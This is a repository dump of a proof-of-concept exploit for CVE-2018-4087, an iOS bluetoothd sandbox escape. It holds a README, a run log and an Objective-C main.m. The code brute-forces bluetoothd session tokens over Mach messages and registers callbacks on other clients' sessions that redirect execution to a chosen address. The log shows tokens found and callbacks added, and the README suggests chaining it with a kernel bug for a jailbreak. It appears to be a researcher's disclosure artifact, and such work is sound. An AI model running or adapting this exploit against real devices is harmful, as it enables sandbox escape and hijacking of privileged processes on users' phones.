├── .gitignore ├── README.md ├── log └── bluetoothdPoC └── main.m /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | *.xcworkspacedata 3 | *.xcuserstate 4 | *.pbxproj 5 | *.xcbkptlist 6 | .DS_Store 7 | *.plist 8 | *.storyboard 9 | *.h 10 | *.m 11 | *.json 12 | *.swp 13 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [@RaniXCH](https://twitter.com/raniXCH) 2 | 3 | # bluetoothdPoC 4 | 5 | CVE-2018-4087 PoC 6 | 7 | ## ETA son? (Is it a jailbreak?) 8 | 9 | Depends, Got any kernel vulnerability? You're welcome chain them together. This one allow you to have huge attack surface from within the sandbox. 10 | https://www.weibo.com/ttarticle/p/show?id=2309404271293301154324 - @SparkZheng - iOS jailbreak internals (2): Escaping sandbox using callbacks 11 | 12 | 13 | 14 | ## References 15 | 16 | https://blog.zimperium.com/new-crucial-vulnerabilities-apples-bluetoothd-daemon/ 17 | 18 | https://blog.zimperium.com/cve-2018-4087-poc-escaping-sandbox-misleading-bluetoothd/ 19 | 20 | 21 | -------------------------------------------------------------------------------- /log: -------------------------------------------------------------------------------- 1 | 2018-02-21 13:24:44.585039+0200 bluetoothdPoC[604:169104] Got bluetoothd port: c03 2 | 3 | 2018-02-21 13:24:44.585666+0200 bluetoothdPoC[604:169104] Starting to look for session tokens 4 | 5 | 2018-02-21 13:24:46.872143+0200 bluetoothdPoC[604:169104] Sent message id 3 with token 1bd90001, returned: 0 6 | 7 | 2018-02-21 13:24:46.872207+0200 bluetoothdPoC[604:169104] Found port: 1bd90001 8 | 9 | 2018-02-21 13:24:47.130315+0200 bluetoothdPoC[604:169104] Sent message id 3 with token 1f0d0001, returned: 0 10 | 11 | 2018-02-21 13:24:47.130379+0200 bluetoothdPoC[604:169104] Found port: 1f0d0001 12 | 13 | 2018-02-21 13:24:47.509223+0200 bluetoothdPoC[604:169104] Sent message id 3 with token 23c70001, returned: 0 14 | 15 | 2018-02-21 13:24:47.509251+0200 bluetoothdPoC[604:169104] Found port: 23c70001 16 | 17 | 2018-02-21 13:24:51.370441+0200 bluetoothdPoC[604:169104] Sent message id 3 with token 53d60001, returned: 0 18 | 19 | 2018-02-21 13:24:51.370496+0200 bluetoothdPoC[604:169104] Found port: 53d60001 20 | 21 | 2018-02-21 13:24:52.209365+0200 bluetoothdPoC[604:169104] Sent message id 3 with token 5dfa0002, returned: 0 22 | 23 | 2018-02-21 13:24:52.209430+0200 bluetoothdPoC[604:169104] Found port: 5dfa0002 24 | 25 | 2018-02-21 13:24:54.072310+0200 bluetoothdPoC[604:169104] Sent message id 3 with token 79650001, returned: 0 26 | 27 | 2018-02-21 13:24:54.072375+0200 bluetoothdPoC[604:169104] Found port: 79650001 28 | 29 | 2018-02-21 13:24:56.298830+0200 bluetoothdPoC[604:169104] Sent message id 3 with token 93fa0001, returned: 0 30 | 31 | 2018-02-21 13:24:56.298884+0200 bluetoothdPoC[604:169104] Found port: 93fa0001 32 | 33 | 2018-02-21 13:24:57.155733+0200 bluetoothdPoC[604:169104] Sent message id 3 with token 9e460001, returned: 0 34 | 35 | 2018-02-21 13:24:57.155798+0200 bluetoothdPoC[604:169104] Found port: 9e460001 36 | 37 | 2018-02-21 13:24:57.526964+0200 bluetoothdPoC[604:169104] Sent message id 3 with token a2cc0001, returned: 0 38 | 39 | 2018-02-21 13:24:57.526994+0200 bluetoothdPoC[604:169104] Found port: a2cc0001 40 | 41 | 2018-02-21 13:24:57.605860+0200 bluetoothdPoC[604:169104] Sent message id 3 with token a3da0001, returned: 0 42 | 43 | 2018-02-21 13:24:57.605887+0200 bluetoothdPoC[604:169104] Found port: a3da0001 44 | 45 | 2018-02-21 13:25:00.053941+0200 bluetoothdPoC[604:169104] Sent message id 3 with token c17e0001, returned: 0 46 | 47 | 2018-02-21 13:25:00.054014+0200 bluetoothdPoC[604:169104] Found port: c17e0001 48 | 49 | 2018-02-21 13:25:00.781194+0200 bluetoothdPoC[604:169104] Sent message id 3 with token ca3c0001, returned: 0 50 | 51 | 2018-02-21 13:25:00.781246+0200 bluetoothdPoC[604:169104] Found port: ca3c0001 52 | 53 | 2018-02-21 13:25:01.028697+0200 bluetoothdPoC[604:169104] Sent message id 3 with token cd290001, returned: 0 54 | 55 | 2018-02-21 13:25:01.028758+0200 bluetoothdPoC[604:169104] Found port: cd290001 56 | 57 | 2018-02-21 13:25:01.630783+0200 bluetoothdPoC[604:169104] Sent message id 3 with token d4e60001, returned: 0 58 | 59 | 2018-02-21 13:25:01.630828+0200 bluetoothdPoC[604:169104] Found port: d4e60001 60 | 61 | 2018-02-21 13:25:01.798587+0200 bluetoothdPoC[604:169104] Sent message id 3 with token d6ed0001, returned: 0 62 | 63 | 2018-02-21 13:25:01.798619+0200 bluetoothdPoC[604:169104] Found port: d6ed0001 64 | 65 | 2018-02-21 13:25:03.735064+0200 bluetoothdPoC[604:169104] Sent message id 3 with token eed20001, returned: 0 66 | 67 | 2018-02-21 13:25:03.735127+0200 bluetoothdPoC[604:169104] Found port: eed20001 68 | 69 | 2018-02-21 13:25:03.858679+0200 bluetoothdPoC[604:169104] Sent message id 3 with token f05b0001, returned: 0 70 | 71 | 2018-02-21 13:25:03.858705+0200 bluetoothdPoC[604:169104] Found port: f05b0001 72 | 73 | 2018-02-21 13:25:05.148896+0200 bluetoothdPoC[604:169104] Adding callback: Port=f05b0001 address=deadbeef value=13371337 74 | 75 | 2018-02-21 13:25:05.149085+0200 bluetoothdPoC[604:169104] Sent message id 3 with token f05b0001, returned: 0 76 | 77 | 2018-02-21 13:25:05.149113+0200 bluetoothdPoC[604:169104] Adding callback: Port=eed20001 address=deadbeef value=13371337 78 | 79 | 2018-02-21 13:25:05.149252+0200 bluetoothdPoC[604:169104] Sent message id 3 with token eed20001, returned: 0 80 | 81 | 2018-02-21 13:25:05.149281+0200 bluetoothdPoC[604:169104] Adding callback: Port=d6ed0001 address=deadbeef value=13371337 82 | 83 | 2018-02-21 13:25:05.149358+0200 bluetoothdPoC[604:169104] Sent message id 3 with token d6ed0001, returned: 0 84 | 85 | 2018-02-21 13:25:05.149383+0200 bluetoothdPoC[604:169104] Adding callback: Port=d4e60001 address=deadbeef value=13371337 86 | 87 | 2018-02-21 13:25:05.149507+0200 bluetoothdPoC[604:169104] Sent message id 3 with token d4e60001, returned: 0 88 | 89 | 2018-02-21 13:25:05.149536+0200 bluetoothdPoC[604:169104] Adding callback: Port=cd290001 address=deadbeef value=13371337 90 | 91 | 2018-02-21 13:25:05.149610+0200 bluetoothdPoC[604:169104] Sent message id 3 with token cd290001, returned: 0 92 | 93 | 2018-02-21 13:25:05.149637+0200 bluetoothdPoC[604:169104] Adding callback: Port=ca3c0001 address=deadbeef value=13371337 94 | 95 | 2018-02-21 13:25:05.149743+0200 bluetoothdPoC[604:169104] Sent message id 3 with token ca3c0001, returned: 0 96 | 97 | 2018-02-21 13:25:05.149770+0200 bluetoothdPoC[604:169104] Adding callback: Port=c17e0001 address=deadbeef value=13371337 98 | 99 | 2018-02-21 13:25:05.149882+0200 bluetoothdPoC[604:169104] Sent message id 3 with token c17e0001, returned: 0 100 | 101 | 2018-02-21 13:25:05.149907+0200 bluetoothdPoC[604:169104] Adding callback: Port=a3da0001 address=deadbeef value=13371337 102 | 103 | 2018-02-21 13:25:05.150047+0200 bluetoothdPoC[604:169104] Sent message id 3 with token a3da0001, returned: 0 104 | 105 | 2018-02-21 13:25:05.150075+0200 bluetoothdPoC[604:169104] Adding callback: Port=a2cc0001 address=deadbeef value=13371337 106 | 107 | 2018-02-21 13:25:05.150226+0200 bluetoothdPoC[604:169104] Sent message id 3 with token a2cc0001, returned: 0 108 | 109 | 2018-02-21 13:25:05.150253+0200 bluetoothdPoC[604:169104] Adding callback: Port=9e460001 address=deadbeef value=13371337 110 | 111 | 2018-02-21 13:25:05.150359+0200 bluetoothdPoC[604:169104] Sent message id 3 with token 9e460001, returned: 0 112 | 113 | 2018-02-21 13:25:05.150386+0200 bluetoothdPoC[604:169104] Adding callback: Port=93fa0001 address=deadbeef value=13371337 114 | 115 | 2018-02-21 13:25:05.150457+0200 bluetoothdPoC[604:169104] Sent message id 3 with token 93fa0001, returned: 0 116 | 117 | 2018-02-21 13:25:05.150482+0200 bluetoothdPoC[604:169104] Adding callback: Port=79650001 address=deadbeef value=13371337 118 | 119 | 2018-02-21 13:25:05.150631+0200 bluetoothdPoC[604:169104] Sent message id 3 with token 79650001, returned: 0 120 | 121 | 2018-02-21 13:25:05.150658+0200 bluetoothdPoC[604:169104] Adding callback: Port=5dfa0002 address=deadbeef value=13371337 122 | 123 | 2018-02-21 13:25:05.150762+0200 bluetoothdPoC[604:169104] Sent message id 3 with token 5dfa0002, returned: 0 124 | 125 | 2018-02-21 13:25:05.150787+0200 bluetoothdPoC[604:169104] Adding callback: Port=53d60001 address=deadbeef value=13371337 126 | 127 | 2018-02-21 13:25:05.150922+0200 bluetoothdPoC[604:169104] Sent message id 3 with token 53d60001, returned: 0 128 | 129 | 2018-02-21 13:25:05.150948+0200 bluetoothdPoC[604:169104] Adding callback: Port=23c70001 address=deadbeef value=13371337 130 | 131 | 2018-02-21 13:25:05.151041+0200 bluetoothdPoC[604:169104] Sent message id 3 with token 23c70001, returned: 0 132 | 133 | 2018-02-21 13:25:05.151069+0200 bluetoothdPoC[604:169104] Adding callback: Port=1f0d0001 address=deadbeef value=13371337 134 | 135 | 2018-02-21 13:25:05.151192+0200 bluetoothdPoC[604:169104] Sent message id 3 with token 1f0d0001, returned: 0 136 | 137 | 2018-02-21 13:25:05.151220+0200 bluetoothdPoC[604:169104] Adding callback: Port=1bd90001 address=deadbeef value=13371337 138 | 139 | 2018-02-21 13:25:05.151334+0200 bluetoothdPoC[604:169104] Sent message id 3 with token 1bd90001, returned: 0 140 | 141 | 2018-02-21 13:25:05.151361+0200 bluetoothdPoC[604:169104] Done 142 | -------------------------------------------------------------------------------- /bluetoothdPoC/main.m: -------------------------------------------------------------------------------- 1 | // 2 | // main.m 3 | // bluetoothdPoC 4 | // 5 | // Created by Rani Idan. 6 | // Copyright © 2018 zLabs. All rights reserved. 7 | // 8 | 9 | 10 | #import "AppDelegate.h" 11 | 12 | #include 13 | 14 | extern kern_return_t bootstrap_look_up(mach_port_t bs, const char *service_name, mach_port_t *service); 15 | 16 | /* When hijacking session between bluetoothd and client, add callback to the client and jump to CALLBACK_ADDRESS with CALLBACK_ADDITIONAL_DATA */ 17 | #define CALLBACK_ADDRESS 0xdeadbeef 18 | #define CALLBACK_ADDITIONAL_DATA 0x13371337 19 | 20 | #define BLUETOOTHD_CONST 0xFA300 21 | #define BLUETOOTHD_WRONG_TOKEN 7 22 | 23 | #define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_RECV_SIZE 0x44 24 | #define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_SEND_SIZE 0x48 25 | #define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_OPTIONS 0x113 26 | #define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_MSG_ID 3 27 | #define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_TIMEOUT 0x1000 28 | #define BLUETOOTHD_MIG_SERVER_NAME "com.apple.server.bluetooth" 29 | 30 | #define ADD_CALLBACK_MACH_MSG_OUT_RETURN_VALUE_OFFSET 0x20 31 | #define ADD_CALLBACK_MACH_MSG_IN_SESSION_TOKEN_OFFSET 0x20 32 | #define ADD_CALLBACK_MACH_MSG_IN_CALLBACK_ADDRESS_OFFSET 0x28 33 | #define ADD_CALLBACK_MACH_MSG_IN_CALLBACK_DATA 0x40 34 | 35 | 36 | typedef unsigned int mach_msg_return_value; 37 | 38 | mach_msg_return_t mach_msg_send(mach_msg_header_t *); 39 | 40 | mach_port_t get_service_port(char *service_name) 41 | { 42 | kern_return_t ret = KERN_SUCCESS; 43 | mach_port_t service_port = MACH_PORT_NULL; 44 | mach_port_t bs = MACH_PORT_NULL; 45 | 46 | 47 | ret = task_get_bootstrap_port(mach_task_self(), &bs); 48 | 49 | ret = bootstrap_look_up(bootstrap_port, service_name, &service_port); 50 | if (ret) 51 | { 52 | NSLog(@"Couldn't find port for %s",service_name); 53 | return MACH_PORT_NULL; 54 | } 55 | 56 | NSLog(@"Got port: %x", service_port); 57 | 58 | mach_port_deallocate(mach_task_self(), bs); 59 | return service_port; 60 | } 61 | 62 | 63 | mach_msg_return_value BTLocalDevice_add_callback(mach_port_t bluetoothd_port, mach_port_t session_token, void* callback_address, long additional_data) 64 | { 65 | mach_port_t receive_port = MACH_PORT_NULL; 66 | mach_msg_header_t * message = NULL; 67 | char *data = NULL; 68 | kern_return_t ret = KERN_SUCCESS; 69 | 70 | mach_msg_return_value return_value = 0; 71 | 72 | 73 | 74 | mach_msg_id_t msgh_id = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_MSG_ID; 75 | mach_msg_size_t recv_size = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_RECV_SIZE; 76 | mach_msg_size_t send_size = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_SEND_SIZE; 77 | mach_msg_option_t options = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_OPTIONS; 78 | mach_msg_size_t msg_size = MAX(recv_size, send_size); 79 | 80 | ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &receive_port); 81 | if ( ret != KERN_SUCCESS) 82 | { 83 | return_value = -3; 84 | NSLog(@"Failed to allocate port ret=%x", ret); 85 | NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret)); 86 | goto cleanup; 87 | } 88 | ret = mach_port_insert_right(mach_task_self(), receive_port, receive_port, MACH_MSG_TYPE_MAKE_SEND); 89 | if ( ret != KERN_SUCCESS) 90 | { 91 | return_value = -3; 92 | NSLog(@"Failed to insert port right ret=%x", ret); 93 | NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret)); 94 | goto cleanup; 95 | } 96 | message = malloc(msg_size); 97 | data = (char *)message; 98 | 99 | memset(message, 0, msg_size); 100 | 101 | *((mach_port_t *)(data+ADD_CALLBACK_MACH_MSG_IN_SESSION_TOKEN_OFFSET)) = session_token; 102 | *((void **)(data+ADD_CALLBACK_MACH_MSG_IN_CALLBACK_ADDRESS_OFFSET)) = callback_address; 103 | *((long *)(data+ADD_CALLBACK_MACH_MSG_IN_CALLBACK_DATA)) = additional_data; 104 | 105 | message->msgh_bits = 0x1513 ; 106 | 107 | message->msgh_remote_port = bluetoothd_port; /* Request port */ 108 | message->msgh_local_port = receive_port; /* Reply port */ 109 | message->msgh_size = send_size; /* Message size */ 110 | message->msgh_reserved = 0; 111 | 112 | 113 | message->msgh_id = BLUETOOTHD_CONST + msgh_id; 114 | 115 | ret = mach_msg(message, /* The header */ 116 | options, /* Flags */ 117 | send_size, /* Send size */ 118 | recv_size, /* Max receive Size */ 119 | receive_port, /* Receive port */ 120 | BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_TIMEOUT, /* No timeout */ 121 | MACH_PORT_NULL); /* No notification */ 122 | 123 | 124 | if(MACH_MSG_SUCCESS == ret) 125 | { 126 | return_value = *(mach_msg_return_value *) (((char *) message) + ADD_CALLBACK_MACH_MSG_OUT_RETURN_VALUE_OFFSET); 127 | if (return_value != BLUETOOTHD_WRONG_TOKEN) { 128 | NSLog(@"Sent message id %d with token %x, returned: %x", msgh_id, session_token, return_value); 129 | } 130 | } else if (MACH_RCV_INVALID_NAME == ret) 131 | { 132 | NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret)); 133 | NSLog(@"mach_error_int: ret=%x", ret); 134 | NSLog(@"mach_remote_port: %x", message->msgh_remote_port); 135 | return_value = -2; 136 | } 137 | else { 138 | NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret)); 139 | NSLog(@"mach_error_int: ret=%x", ret); 140 | NSLog(@"mach_remote_port: %x", message->msgh_remote_port); 141 | return_value = -1; 142 | } 143 | 144 | 145 | cleanup: 146 | if(MACH_PORT_NULL != receive_port) 147 | { 148 | mach_port_destroy(mach_task_self(), receive_port); 149 | } 150 | if (NULL != message) { 151 | free(message); 152 | } 153 | return return_value; 154 | } 155 | 156 | 157 | 158 | void try_to_add_callback_BTLocalDeviceAddCallbacks(void * address, long value) 159 | { 160 | int ports_found[0xffff] = {0}; 161 | int number_of_ports_found = 0; 162 | 163 | mach_port_t bluetoothd_port = get_service_port(BLUETOOTHD_MIG_SERVER_NAME); 164 | if (MACH_PORT_NULL == bluetoothd_port) 165 | { 166 | NSLog(@"Couldn't have bluetoothd port"); 167 | return; 168 | } 169 | 170 | NSLog(@"Starting to look for session tokens"); 171 | for (int i = 0; i <= 0xffff; i++) { 172 | int id = 0; 173 | id = (i << 16) + 1; 174 | int result_code = BTLocalDevice_add_callback(bluetoothd_port, id, NULL, 0); 175 | if(result_code != BLUETOOTHD_WRONG_TOKEN && result_code != -1) 176 | { 177 | NSLog(@"Found port: %x", id); 178 | ports_found[number_of_ports_found] = id; 179 | number_of_ports_found ++; 180 | } 181 | 182 | 183 | id = (i << 16) + 2; 184 | result_code = BTLocalDevice_add_callback(bluetoothd_port, id, NULL, 0); 185 | if(result_code != BLUETOOTHD_WRONG_TOKEN && result_code != -1) 186 | { 187 | NSLog(@"Found port: %x", id); 188 | ports_found[number_of_ports_found] = id; 189 | number_of_ports_found ++; 190 | } 191 | 192 | 193 | id = (i << 16); 194 | result_code = BTLocalDevice_add_callback(bluetoothd_port, id, NULL, 0); 195 | if(result_code != BLUETOOTHD_WRONG_TOKEN && result_code != -1) 196 | { 197 | NSLog(@"Found port: %x", id); 198 | ports_found[number_of_ports_found] = id; 199 | number_of_ports_found ++; 200 | } 201 | 202 | } 203 | 204 | for (int i = number_of_ports_found-1; i>=0; i--) { 205 | NSLog(@"Adding callback: Port=%x address=%x value=%x", ports_found[i], (unsigned int)address, (unsigned int)value); 206 | BTLocalDevice_add_callback(bluetoothd_port, ports_found[i],address, value); 207 | } 208 | 209 | NSLog(@"Done"); 210 | return; 211 | } 212 | 213 | void trigger() { 214 | try_to_add_callback_BTLocalDeviceAddCallbacks((void *)CALLBACK_ADDRESS, CALLBACK_ADDITIONAL_DATA); 215 | } 216 | 217 | 218 | int main(int argc, char * argv[]) { 219 | trigger(); 220 | } 221 | 222 | --------------------------------------------------------------------------------